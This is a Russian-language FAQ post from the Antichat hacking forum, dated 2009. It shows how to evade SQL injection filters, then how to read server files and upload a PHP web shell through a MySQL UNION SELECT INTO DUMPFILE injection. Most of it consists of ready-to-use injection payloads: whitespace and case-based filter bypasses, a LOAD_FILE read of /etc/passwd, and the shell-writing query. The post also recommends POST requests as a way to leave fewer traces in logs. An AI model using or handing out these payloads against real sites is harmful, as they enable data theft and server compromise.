|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Вопрос №6 В скуле фильтруется ...(варианты)
Ну тут тема очень обширная, но некоторые моменты всё-же достаточно распространены
Сначала пробуем послать данные Постом(а вообще, всегда пробуем постом, т.к. палева в логах меньше), возможно пост не фильтруется.
Если POST тоже фильтруется, рассматрваем варианты, но для начала выясняем, что именно фильтруется. Самый простой способ это попробовать вставить возможное выражение\символ в комментарий. Тоесть:
a.php?id=1/*вот сюда вставляем*/
И если такой запрос не обработается нормально, то это оно и есть
Пробелы заменяем на +,/**/,%0D,%2B,%09,%0A,%20,%2B,$IFS
а в подзапросах можно вообще без пробелов как-то так:
php?a=(1)AND(lower(substring((SELECT(password)from (mysql.user)WHERE(user="user")),1,1))='b')
php?a='1'AND(exists(select(1)from(SmallNu_users)wh ere(ascii(lower(substring(user_id,1,1))))like(50)) )and'1'<'2'
"=" можно обойти с помощью like, IN, NOT IN
Ну и различные фильтры операторов можно попробовать обойти записью в разных регистрах, бывает фильтрация регистрозависимая т.е. union фильтрует, а UnIon пропустит. Ну и подзапросы никто не отменял (Рекоммендую всем один раз в них разобраться, и потом будет значительно легче)
---------------------------------------------
Вопрос №7 Помогите залить шелл через SQL
Для этой процедуры необходимо выполнение некоторых условий
1 file_priv (возможность чтения/записи файлов)
Проверяется это так:
union+select+file_priv+from+mysql.user+where+user= 'имя юзера'
'имя юзера'- это имя того юзера под которым работает база, т.е. то, что выводится по запросу:
union+select+user()
но без хоста. Тоесть если вывело root@localhost, то юзер root
Значения два, либо "Y"-повезло, либо "N", соответственно неповезло
Можно не заморачиваться и сразу попробовать прочитать файл:
union+select+LOAD_FILE('/etc/passwd')+from+mysql.user
если вывело, нужные привелегии у вашего юзера есть
2 Полный путь и папка на запись
Путь ищем в разнообразных ошибках или читая конфиги,через Лоад-Файл. Линк на дефолтные конфиги я приводил выше.
3 magic_quotes_gpc = Off
Для того, что-бы шелл залился, синтаксис мускула требует писать путь в ковычках.
Ну и наконец, если нам трижды повезло, льём например так:
union+select+1,'<?php код вашего шелла ?>',3,4,5,6,7,8+into+DUMPFILE+'/путь/до/вашего/будующего/шелла/shell.php'/*
или ещё варианты рассматриваются сдесь:
Загрузка файл через mysql inj
Автор [cash]
и даже при magic_quotes_gpc = on , существует вероятность залиться, но для этого нужны 2 запроса к базе. Как это сделать описывается сдесь:
Заливка через двойной запрос
Автор Scipio
---------------------------------------------
По XSS вопросов возникает меньше, но линки на темы всё-же приведу:
Взлом чатов by Algol. Теория и Практика
Автор Algol
Особенности синтаксиса HTML
Авторы Algol zFailure
Использование UTF-7 в атаках класса XSS
Автор Algol
XSS крупным планом
Автор Thesaurus
Cross Site Scripting для новичков
Автор _Pantera_
Xss для новичков
Автор Micr0b
Темная сторона Xss
Автор Constantine
Важно Примеры SQL запросов приведены для базы MySql, в других базах синтаксис другой, читаем статьи.
База information_schema, появилась в MySql =>5
А то некоторые до сих пор умудряются писать , что доступ к шеме запрещён, на четвёртой ветке
По мере поступления повторяющихся вопросов буду дополнять тему ответами
Ну и наконец, если сдесь ответ на ваш вопрос не обнаружился, идём в тему
Ваши вопросы по уязвимостям
и задаём его там.
С конструктивными предложениями по поводу FAQ обращайтесь в ЛС модераторам раздела
закрыто (с)Const
Последний раз редактировалось Constantine; 16.04.2009 в 23:41..
|